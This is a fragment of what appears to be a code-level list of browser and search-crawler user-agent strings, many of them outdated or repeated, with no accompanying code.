'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
